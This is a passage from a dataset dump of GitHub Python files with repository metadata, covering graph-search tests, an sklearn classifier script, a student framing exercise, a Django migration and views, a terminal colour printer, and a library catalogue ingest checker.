C to C, less 4 stops, same as test_bfs_6\n def test_bfs_less(self):\n fn = BfsLTStops('C', 4)\n bfs(self.G, 'C', fn)\n self.assertEqual(2, fn.count)\n\n # from A to C, not more 1 stops\n def test_bfs_empty(self):\n fn = BfsLEStops('C', 1)\n bfs(self.G, 'A', fn)\n self.assertEqual(0, fn.count)\n\n # from C to C, not more 3 stops\n def test_bfs_6(self):\n fn = BfsLEStops('C', 3)\n bfs(self.G, 'C', fn)\n self.assertEqual(2, fn.count)\n\n # from A to C, with exacly 4\n def test_bfs_7(self):\n fn = BfsEQStops('C', 4)\n bfs(self.G, 'A', fn)\n self.assertEqual(3, fn.count)\n\n # from A to C, with exacly 5\n def test_bfs_(self):\n fn = BfsEQStops('C', 5)\n bfs(self.G, 'A', fn)\n self.assertEqual(3, fn.count)\n\n # from C to C, with distance less that 30\n def test_bfs_10(self):\n fn = BfsLTDist('C', 30)\n bfs(self.G, 'C', fn)\n self.assertEqual(7, fn.count)\n\n # from A to D, with distance = 21\n def test_bfs_one(self):\n fn = BfsEQDist('D', 21)\n bfs(self.G, 'A', fn)\n self.assertEqual(1, fn.count)"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2014,"string":"2,014"}}},{"rowIdx":679,"cells":{"__id__":{"kind":"number","value":19035295068891,"string":"19,035,295,068,891"},"blob_id":{"kind":"string","value":"1a5e010d981b1044d6bf7c982ca5e7cb3fbe2788"},"directory_id":{"kind":"string","value":"ce464cb4c050f42593bae1f95535f2c8a9c60bab"},"path":{"kind":"string","value":"/learn_from_pitches_sparse_coding/train.py.bak"},"content_id":{"kind":"string","value":"58b214ea1cd0817bdc5fae9cce703c1fd745944f"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"repo_name":{"kind":"string","value":"zhangchao1194/ID_01"},"repo_url":{"kind":"string","value":"https://github.com/zhangchao1194/ID_01"},"snapshot_id":{"kind":"string","value":"3a9c47b74d87936b3153b0dd2086d9b3953bca10"},"revision_id":{"kind":"string","value":"cac98d1d37008b13cd31e2cfdb37278f52d9d495"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2020-12-25T18:20:34.078526","string":"2020-12-25T18:20:34.078526"},"revision_date":{"kind":"timestamp","value":"2014-08-28T14:25:17","string":"2014-08-28T14:25:17"},"committer_date":{"kind":"timestamp","value":"2014-08-28T14:25:17","string":"2014-08-28T14:25:17"},"github_id":{"kind":"null"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport re\nimport numpy as np\nfrom sklearn.datasets import svmlight_format\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn import svm\nfrom sklearn.linear_model import LogisticRegression\n\nif __name__ == '__main__':\n\tnum_epoches = 1\n\tTrain= svmlight_format.load_svmlight_file('./feature_train.txt')\n\tTest = svmlight_format.load_svmlight_file('./feature_test.txt')\n\t#model = RandomForestClassifier(n_estimators=100, criterion='entropy', max_depth=None, min_samples_split=2, min_samples_leaf=1, max_features='auto', max_leaf_nodes=None, bootstrap=True, oob_score=False, n_jobs=-1, random_state=None, verbose=0)\n\n\tmodel = LogisticRegression(penalty='l2', dual=False, tol=0.0001, C=1.0, fit_intercept=True, intercept_scaling=1, class_weight=None, random_state=None)\n\n\t#model = svm.libsvm.fit( np.array( training_data,dtype=np.float64), np.array( training_label,dtype=np.float64), kernel='linear' )\n\tfor epoch in xrange(num_epoches):\n\t print \"learning epoch: \", epoch, \"/\", num_epoches\n\t #model.fit(training_data, training_label)\n\t model.fit( Train[0], Train[1] )\n\tprint \"testing...\"\n\t#output = model.predict(predict_data)\n\toutput = model.predict( Test[0] )\n\t#output = svm.libsvm.predict( np.array( predict_data, dtype=np.float64), *model, **{'kernel' : 'linear'} )\n\taccurate_num = 0.0\n\tfor i in range( 0, len( output ) ) :\n\t if( int( Test[1][i] ) == int( output[i] ) ):\n\t\taccurate_num+=1\n\tprint \"accuracy: \", accurate_num/len( output )\n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2014,"string":"2,014"}}},{"rowIdx":680,"cells":{"__id__":{"kind":"number","value":18047452600204,"string":"18,047,452,600,204"},"blob_id":{"kind":"string","value":"c4e53c6203b6083dceb1347dc8b8c65547c52b8e"},"directory_id":{"kind":"string","value":"98c6ea9c884152e8340605a706efefbea6170be5"},"path":{"kind":"string","value":"/examples/data/Assignment_3/mtlshi005/question3.py"},"content_id":{"kind":"string","value":"83f753bc27072b63ba49d73dbc0a95bc7af211e8"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"repo_name":{"kind":"string","value":"MrHamdulay/csc3-capstone"},"repo_url":{"kind":"string","value":"https://github.com/MrHamdulay/csc3-capstone"},"snapshot_id":{"kind":"string","value":"479d659e1dcd28040e83ebd9e3374d0ccc0c6817"},"revision_id":{"kind":"string","value":"6f0fa0fa1555ceb1b0fb33f25e9694e68b6a53d2"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2021-03-12T21:55:57.781339","string":"2021-03-12T21:55:57.781339"},"revision_date":{"kind":"timestamp","value":"2014-09-22T02:22:22","string":"2014-09-22T02:22:22"},"committer_date":{"kind":"timestamp","value":"2014-09-22T02:22:22","string":"2014-09-22T02:22:22"},"github_id":{"kind":"number","value":22372174,"string":"22,372,174"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"#19/03/14\r\n#Shivaan Motilal\r\n#Programme to create a triangle\r\n\r\nx=input('Enter the message:\\n')\r\nr=eval(input('Enter the message repeat count:\\n'))\r\nf=eval(input('Enter the frame thickness:\\n'))\r\n\r\nl=len(x)+4 \r\n\r\nfor i in range(f-1,-1,-1):\r\n \r\n m=(f-1)-i\r\n print(m*'|','+',i*'-','-'*(len(x)+2),i*'-','+',m*'|',sep='')\r\n\r\nfor i in range(r):\r\n print(f*'|',x,f*'|')\r\n \r\n\r\n\r\nfor i in range(f):\r\n j=(f-1)-i\r\n print(j*'|','+',i*'-','-'*(len(x)+2),i*'-','+',j*'|',sep='')\r\n\r\n\r\n "},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2014,"string":"2,014"}}},{"rowIdx":681,"cells":{"__id__":{"kind":"number","value":609885372967,"string":"609,885,372,967"},"blob_id":{"kind":"string","value":"ee3e192bd772284d2d482cd59ea2c4703d9c23ec"},"directory_id":{"kind":"string","value":"3e9f3935c9e83a89ee8cc784b07d8b106eaabd60"},"path":{"kind":"string","value":"/django_noaa/migrations/0004_auto__add_temperature__add_unique_temperature_station_obs_start_dateti.py"},"content_id":{"kind":"string","value":"564498c2581c9b212b1c08d77cc064535a19e34b"},"detected_licenses":{"kind":"list like","value":["LGPL-3.0-only"],"string":"[\n \"LGPL-3.0-only\"\n]"},"license_type":{"kind":"string","value":"non_permissive"},"repo_name":{"kind":"string","value":"chrisspen/django-noaa"},"repo_url":{"kind":"string","value":"https://github.com/chrisspen/django-noaa"},"snapshot_id":{"kind":"string","value":"bb01eee78bc90c52560f1a1480c7ac10df04655e"},"revision_id":{"kind":"string","value":"042e245089693500d329a232f77cb670417b2305"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2021-01-13T02:03:26.693267","string":"2021-01-13T02:03:26.693267"},"revision_date":{"kind":"timestamp","value":"2014-04-29T21:56:24","string":"2014-04-29T21:56:24"},"committer_date":{"kind":"timestamp","value":"2014-04-29T21:56:24","string":"2014-04-29T21:56:24"},"github_id":{"kind":"number","value":18303918,"string":"18,303,918"},"star_events_count":{"kind":"number","value":5,"string":"5"},"fork_events_count":{"kind":"number","value":1,"string":"1"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"# -*- coding: utf-8 -*-\nfrom south.utils import datetime_utils as datetime\nfrom south.db import db\nfrom south.v2 import SchemaMigration\nfrom django.db import models\n\n\nclass Migration(SchemaMigration):\n\n def forwards(self, orm):\n # Adding model 'Temperature'\n db.create_table(u'django_noaa_temperature', (\n (u'id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),\n ('station', self.gf('django.db.models.fields.related.ForeignKey')(related_name='temperatures', to=orm['django_noaa.Station'])),\n ('obs_start_datetime', self.gf('django.db.models.fields.DateTimeField')(db_index=True)),\n ('obs_end_datetime', self.gf('django.db.models.fields.DateTimeField')(db_index=True)),\n ('crx_vn', self.gf('django.db.models.fields.CharField')(max_length=6, db_index=True)),\n ('t_calc', self.gf('django.db.models.fields.FloatField')(db_index=True)),\n ('t_hr_avg', self.gf('django.db.models.fields.FloatField')(db_index=True)),\n ('t_max', self.gf('django.db.models.fields.FloatField')(db_index=True)),\n ('t_min', self.gf('django.db.models.fields.FloatField')(db_index=True)),\n ('p_calc', self.gf('django.db.models.fields.FloatField')(db_index=True)),\n ('solarad', self.gf('django.db.models.fields.FloatField')(db_index=True)),\n ('solarad_flag', self.gf('django.db.models.fields.IntegerField')(db_index=True)),\n ('solarad_max', self.gf('django.db.models.fields.FloatField')(db_index=True)),\n ('solarad_max_flag', self.gf('django.db.models.fields.IntegerField')(db_index=True)),\n ('solarad_min', self.gf('django.db.models.fields.FloatField')(db_index=True)),\n ('solarad_min_flag', self.gf('django.db.models.fields.IntegerField')(db_index=True)),\n ('sur_temp_type', self.gf('django.db.models.fields.CharField')(max_length=1, db_index=True)),\n ('sur_temp', self.gf('django.db.models.fields.FloatField')(db_index=True)),\n ('sur_temp_flag', self.gf('django.db.models.fields.IntegerField')(db_index=True)),\n ('sur_temp_max', self.gf('django.db.models.fields.FloatField')(db_index=True)),\n ('sur_temp_max_flag', self.gf('django.db.models.fields.IntegerField')(db_index=True)),\n ('sur_temp_min', self.gf('django.db.models.fields.FloatField')(db_index=True)),\n ('sur_temp_min_flag', self.gf('django.db.models.fields.IntegerField')(db_index=True)),\n ('rh_hr_avg', self.gf('django.db.models.fields.FloatField')(db_index=True)),\n ('rh_hr_avg_flag', self.gf('django.db.models.fields.IntegerField')(db_index=True)),\n ('soil_moisture_5', self.gf('django.db.models.fields.FloatField')(db_index=True)),\n ('soil_moisture_10', self.gf('django.db.models.fields.FloatField')(db_index=True)),\n ('soil_moisture_20', self.gf('django.db.models.fields.FloatField')(db_index=True)),\n ('soil_moisture_50', self.gf('django.db.models.fields.FloatField')(db_index=True)),\n ('soil_moisture_100', self.gf('django.db.models.fields.FloatField')(db_index=True)),\n ('soil_temp_5', self.gf('django.db.models.fields.FloatField')(db_index=True)),\n ('soil_temp_10', self.gf('django.db.models.fields.FloatField')(db_index=True)),\n ('soil_temp_20', self.gf('django.db.models.fields.FloatField')(db_index=True)),\n ('soil_temp_50', self.gf('django.db.models.fields.FloatField')(db_index=True)),\n ('soil_temp_100', self.gf('django.db.models.fields.FloatField')(db_index=True)),\n ))\n db.send_create_signal('django_noaa', ['Temperature'])\n\n # Adding unique constraint on 'Temperature', fields ['station', 'obs_start_datetime', 'obs_end_datetime']\n db.create_unique(u'django_noaa_temperature', ['station_id', 'obs_start_datetime', 'obs_end_datetime'])\n\n\n def backwards(self, orm):\n # Removing unique constraint on 'Temperature', fields ['station', 'obs_start_datetime', 'obs_end_datetime']\n db.delete_unique(u'django_noaa_temperature', ['station_id', 'obs_start_datetime', 'obs_end_datetime'])\n\n # Deleting model 'Temperature'\n db.delete_table(u'django_noaa_temperature')\n\n\n models = {\n 'django_noaa.station': {\n 'Meta': {'ordering': \"('wban', 'country', 'state', 'location')\", 'unique_together': \"(('wban', 'country', 'state', 'location'),)\", 'object_name': 'Station'},\n 'closing': ('django.db.models.fields.DateTimeField', [], {'db_index': 'True', 'null': 'True', 'blank': 'True'}),\n 'commissioning': ('django.db.models.fields.DateTimeField', [], {'db_index': 'True', 'null': 'True', 'blank': 'True'}),\n 'country': ('django.db.models.fields.CharField', [], {'max_length': '10', 'db_index': 'True'}),\n 'elevation': ('django.db.models.fields.PositiveIntegerField', [], {'db_index': 'True', 'null': 'True', 'blank': 'True'}),\n u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),\n 'latitude': ('django.db.models.fields.FloatField', [], {'db_index': 'True'}),\n 'load_temperatures': ('django.db.models.fields.BooleanField', [], {'default': 'False', 'db_index': 'True'}),\n 'load_temperatures_max_date_loaded': ('django.db.models.fields.DateField', [], {'null': 'True', 'blank': 'True'}),\n 'load_temperatures_min_date_loaded': ('django.db.models.fields.DateField', [], {'null': 'True', 'blank': 'True'}),\n 'load_temperatures_min_year': ('django.db.models.fields.PositiveIntegerField', [], {'null': 'True', 'blank': 'True'}),\n 'location': ('django.db.models.fields.CharField', [], {'max_length': '200', 'db_index': 'True'}),\n 'longitude': ('django.db.models.fields.FloatField', [], {'db_index': 'True'}),\n 'name': ('django.db.models.fields.CharField', [], {'max_length': '500'}),\n 'network': ('django.db.models.fields.CharField', [], {'max_length': '100', 'db_index': 'True'}),\n 'operation': ('django.db.models.fields.CharField', [], {'max_length': '100', 'db_index': 'True'}),\n 'pairing': ('django.db.models.fields.CharField', [], {'db_index': 'True', 'max_length': '100', 'null': 'True', 'blank': 'True'}),\n 'state': ('django.db.models.fields.CharField', [], {'max_length': '10', 'db_index': 'True'}),\n 'status': ('django.db.models.fields.CharField', [], {'max_length': '100', 'db_index': 'True'}),\n 'vector': ('django.db.models.fields.CharField', [], {'max_length': '100', 'db_index': 'True'}),\n 'wban': ('django.db.models.fields.CharField', [], {'db_index': 'True', 'max_length': '100', 'null': 'True', 'blank': 'True'})\n },\n 'django_noaa.temperature': {\n 'Meta': {'unique_together': \"(('station', 'obs_start_datetime', 'obs_end_datetime'),)\", 'object_name': 'Temperature'},\n 'crx_vn': ('django.db.models.fields.CharField', [], {'max_length': '6', 'db_index': 'True'}),\n u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),\n 'obs_end_datetime': ('django.db.models.fields.DateTimeField', [], {'db_index': 'True'}),\n 'obs_start_datetime': ('django.db.models.fields.DateTimeField', [], {'db_index': 'True'}),\n 'p_calc': ('django.db.models.fields.FloatField', [], {'db_index': 'True'}),\n 'rh_hr_avg': ('django.db.models.fields.FloatField', [], {'db_index': 'True'}),\n 'rh_hr_avg_flag': ('django.db.models.fields.IntegerField', [], {'db_index': 'True'}),\n 'soil_moisture_10': ('django.db.models.fields.FloatField', [], {'db_index': 'True'}),\n 'soil_moisture_100': ('django.db.models.fields.FloatField', [], {'db_index': 'True'}),\n 'soil_moisture_20': ('django.db.models.fields.FloatField', [], {'db_index': 'True'}),\n 'soil_moisture_5': ('django.db.models.fields.FloatField', [], {'db_index': 'True'}),\n 'soil_moisture_50': ('django.db.models.fields.FloatField', [], {'db_index': 'True'}),\n 'soil_temp_10': ('django.db.models.fields.FloatField', [], {'db_index': 'True'}),\n 'soil_temp_100': ('django.db.models.fields.FloatField', [], {'db_index': 'True'}),\n 'soil_temp_20': ('django.db.models.fields.FloatField', [], {'db_index': 'True'}),\n 'soil_temp_5': ('django.db.models.fields.FloatField', [], {'db_index': 'True'}),\n 'soil_temp_50': ('django.db.models.fields.FloatField', [], {'db_index': 'True'}),\n 'solarad': ('django.db.models.fields.FloatField', [], {'db_index': 'True'}),\n 'solarad_flag': ('django.db.models.fields.IntegerField', [], {'db_index': 'True'}),\n 'solarad_max': ('django.db.models.fields.FloatField', [], {'db_index': 'True'}),\n 'solarad_max_flag': ('django.db.models.fields.IntegerField', [], {'db_index': 'True'}),\n 'solarad_min': ('django.db.models.fields.FloatField', [], {'db_index': 'True'}),\n 'solarad_min_flag': ('django.db.models.fields.IntegerField', [], {'db_index': 'True'}),\n 'station': ('django.db.models.fields.related.ForeignKey', [], {'related_name': \"'temperatures'\", 'to': \"orm['django_noaa.Station']\"}),\n 'sur_temp': ('django.db.models.fields.FloatField', [], {'db_index': 'True'}),\n 'sur_temp_flag': ('django.db.models.fields.IntegerField', [], {'db_index': 'True'}),\n 'sur_temp_max': ('django.db.models.fields.FloatField', [], {'db_index': 'True'}),\n 'sur_temp_max_flag': ('django.db.models.fields.IntegerField', [], {'db_index': 'True'}),\n 'sur_temp_min': ('django.db.models.fields.FloatField', [], {'db_index': 'True'}),\n 'sur_temp_min_flag': ('django.db.models.fields.IntegerField', [], {'db_index': 'True'}),\n 'sur_temp_type': ('django.db.models.fields.CharField', [], {'max_length': '1', 'db_index': 'True'}),\n 't_calc': ('django.db.models.fields.FloatField', [], {'db_index': 'True'}),\n 't_hr_avg': ('django.db.models.fields.FloatField', [], {'db_index': 'True'}),\n 't_max': ('django.db.models.fields.FloatField', [], {'db_index': 'True'}),\n 't_min': ('django.db.models.fields.FloatField', [], {'db_index': 'True'})\n }\n }\n\n complete_apps = ['django_noaa']"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2014,"string":"2,014"}}},{"rowIdx":682,"cells":{"__id__":{"kind":"number","value":1305670098942,"string":"1,305,670,098,942"},"blob_id":{"kind":"string","value":"d8d0bf3c609cdc57cd1963524d902508892d6c8a"},"directory_id":{"kind":"string","value":"3a6ab2999efbc40825659716328b57a4a5e831bf"},"path":{"kind":"string","value":"/utilities/colourphon"},"content_id":{"kind":"string","value":"26cc3899fadb64900792aa9e2e67ea624ea277c6"},"detected_licenses":{"kind":"list like","value":["Apache-2.0"],"string":"[\n \"Apache-2.0\"\n]"},"license_type":{"kind":"string","value":"permissive"},"repo_name":{"kind":"string","value":"TomRegan/synedoche"},"repo_url":{"kind":"string","value":"https://github.com/TomRegan/synedoche"},"snapshot_id":{"kind":"string","value":"3cd54293fcfa55ae13265dd23c5535839da6e5af"},"revision_id":{"kind":"string","value":"b7e46089c8702d473853e118d3465b5b7038a639"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2021-01-10T20:11:05.327352","string":"2021-01-10T20:11:05.327352"},"revision_date":{"kind":"timestamp","value":"2012-07-14T19:19:07","string":"2012-07-14T19:19:07"},"committer_date":{"kind":"timestamp","value":"2012-07-14T19:19:07","string":"2012-07-14T19:19:07"},"github_id":{"kind":"number","value":5050337,"string":"5,050,337"},"star_events_count":{"kind":"number","value":1,"string":"1"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"#!/usr/bin/env python\n''' colourphon\nauthor: Tom Regan \nsince: 2011-07-12\ndescription: Displays the colour palate available in a teminal.\n'''\n\nprint '\\n{:-^78}\\n'.format('basic colors')\nfor a in range(255):\n if a % 8 == 0 and a > 0:\n print ''\n print \"{:>2}:\\033[{:}mAa\\033[0m \".format(hex(a)[2:],a),\n\nprint '\\n\\n{:-^78}\\n'.format('compound colors')\nfor a in range(22,40):\n for b in range(255):\n if b % 8 == 0:\n print ''\n print \"{:>2};{:>2}:\\033[{:};{:}mAa\\033[0m \".format(hex(a)[2:],hex(b)[2:],a,b),\n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2012,"string":"2,012"}}},{"rowIdx":683,"cells":{"__id__":{"kind":"number","value":16183436781680,"string":"16,183,436,781,680"},"blob_id":{"kind":"string","value":"d8189125e72e13028a104ddc1460bc3476eb743b"},"directory_id":{"kind":"string","value":"49e6fb32bd99d2fcb0af85d2130a40a4212057f9"},"path":{"kind":"string","value":"/projects/views.py"},"content_id":{"kind":"string","value":"1b765ed87830880801dff6b71f62e992e82132f6"},"detected_licenses":{"kind":"list like","value":["GPL-2.0-only","GPL-2.0-or-later"],"string":"[\n \"GPL-2.0-only\",\n \"GPL-2.0-or-later\"\n]"},"license_type":{"kind":"string","value":"non_permissive"},"repo_name":{"kind":"string","value":"HackRVA/hacker-web"},"repo_url":{"kind":"string","value":"https://github.com/HackRVA/hacker-web"},"snapshot_id":{"kind":"string","value":"5cedbd85064df0370d4bacaf0ec75cb8f8aed41b"},"revision_id":{"kind":"string","value":"591845d9e2ad7d98f4b1aedc50f6c535019a9261"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2020-04-23T03:36:05.111142","string":"2020-04-23T03:36:05.111142"},"revision_date":{"kind":"timestamp","value":"2013-01-16T04:25:32","string":"2013-01-16T04:25:32"},"committer_date":{"kind":"timestamp","value":"2013-01-16T04:25:32","string":"2013-01-16T04:25:32"},"github_id":{"kind":"number","value":5391391,"string":"5,391,391"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":1,"string":"1"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"from django.template import RequestContext\nfrom django.template import Context, loader\nfrom django.shortcuts import render_to_response, get_object_or_404\nfrom django.conf import settings\nfrom django.http import HttpResponse, HttpResponseRedirect\nfrom django.contrib.auth.decorators import login_required\nfrom projects.models import UserProjects, UserProjectsForm\n\n@login_required\ndef project_detail(request, proj_id):\n\n project = get_object_or_404(UserProjects,pk=proj_id)\n\n #so only staff users and the users themselves can see a given project page.\n if ((request.user.username == project.user.username) or (request.user.is_staff)):\n return render_to_response('projects/detail.html',context_instance = RequestContext(request,{\"project\":project,}))\n else:\n redir_url = \"/members/profiles/%s\" % project.user.username\n return HttpResponseRedirect(redir_url)\n\n@login_required\ndef project_delete(request, proj_id):\n\n project = get_object_or_404(UserProjects,pk=proj_id)\n\n if ((request.user.username == project.user.username) or (request.user.is_superuser)):\n project.delete()\n return render_to_response('projects/delete.html',context_instance = RequestContext(request,{}))\n else:\n return render_to_response('projects/no_delete.html',context_instance = RequestContext(request,{}))\n\n@login_required\ndef project_create(request):\n if request.method == 'POST':\n form = UserProjectsForm(request.POST)\n if form.is_valid():\n form.save()\n return HttpResponseRedirect('/projects/saved/')\n else:\n form = UserProjectsForm(initial={'user':request.user})\n\n return render_to_response('projects/edit.html',context_instance = RequestContext(request,{'form':form}))\n\n@login_required\ndef project_edit(request, proj_id):\n instance = get_object_or_404(UserProjects, pk=proj_id)\n form = UserProjectsForm(request.POST or None, instance=instance)\n if form.is_valid():\n form.save()\n return HttpResponseRedirect('/projects/saved/')\n\n return render_to_response('projects/edit.html',context_instance = RequestContext(request,{'form':form}))\n\n@login_required\ndef project_saved(request):\n\n return render_to_response('projects/saved.html',context_instance = RequestContext(request,{}))\n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2013,"string":"2,013"}}},{"rowIdx":684,"cells":{"__id__":{"kind":"number","value":13228499305034,"string":"13,228,499,305,034"},"blob_id":{"kind":"string","value":"b2af13cfcb189e1c2778524fac5f2a7425d59798"},"directory_id":{"kind":"string","value":"8a08b9db41f8809a9991875223c46f2e3b9f15db"},"path":{"kind":"string","value":"/eds_test_ingest.py"},"content_id":{"kind":"string","value":"92766d42186b92cb1ea6ad3dc56a529f3da9802a"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"repo_name":{"kind":"string","value":"elibtronic/eds_test_ingest"},"repo_url":{"kind":"string","value":"https://github.com/elibtronic/eds_test_ingest"},"snapshot_id":{"kind":"string","value":"32f16b2356023ce519d23c237b3b7eccf91ba665"},"revision_id":{"kind":"string","value":"8dda07274ca9b17cc399bbdf9561c4be8b4a9ca6"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2021-03-12T20:16:40.944061","string":"2021-03-12T20:16:40.944061"},"revision_date":{"kind":"timestamp","value":"2014-02-13T19:51:04","string":"2014-02-13T19:51:04"},"committer_date":{"kind":"timestamp","value":"2014-02-13T19:51:04","string":"2014-02-13T19:51:04"},"github_id":{"kind":"null"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"# EDS Ingest Tester\n#\n# Fill in the bib array with the unique identify used to create your EDS records\n# Change BASE_URL to reflect your EDS setup and Catalogue Accession Number\n# After uploading your .MARC to to your Ebsco FTP start this script\n# \n\nfrom bs4 import BeautifulSoup\nimport urllib,httplib,datetime,time,sys\n\nlogname = \"log_\" + str(time.time()) + \".txt\"\nBASE_URL = \"http://proxy.library.brocku.ca/login?url=http://search.ebscohost.com/login.aspx?direct=true&db=cat00778a&AN=bu.\"\n\nbib = [\n 'b2378495',\n 'b2378491',\n 'b2378487',\n 'b2378486',\n 'b2378485'\n ]\n\nurls = []\n\ndef construct_url(b):\n return BASE_URL+b+\"&site=eds-live&scope=site\"\n\ndef log_start():\n f = open(logname,\"a\")\n f.write(\"Started checking at: \" + str(datetime.datetime.now())+ \"\\n\")\n f.close()\n\ndef log_no(url):\n f = open(logname,\"a\")\n f.write(\"Found: \" + url + \" at \" + str(datetime.datetime.now())+ \"\\n\")\n f.close()\n\ndef first_check(urls_list):\n print \"Seeing if bibs are already in EDS\"\n for u in urls_list:\n s = BeautifulSoup(urllib.urlopen(u).read())\n if (s.find_all(text='No results were found.')):\n pass\n else:\n print \"...found an item already in EDS: \",u\n sys.exit()\n print \"... Items are unique\"\n\n\n#start up\nlog_start()\nf = open(logname,\"a\")\nf.write(\"Bibs that will be checked\\n\")\nfor b in bib:\n urls.append(construct_url(b))\n f.write(construct_url(b)+\"\\n\")\nf.close()\nfirst_check(urls)\n\nwhile True:\n print \"Checking another round\"\n for u in urls:\n s = BeautifulSoup(urllib.urlopen(u).read())\n if (s.find_all(text='No results were found.')):\n pass\n else:\n log_no(u)\n print \"found an item!\"\n sys.exit()\n print \"...done\\n\"\n 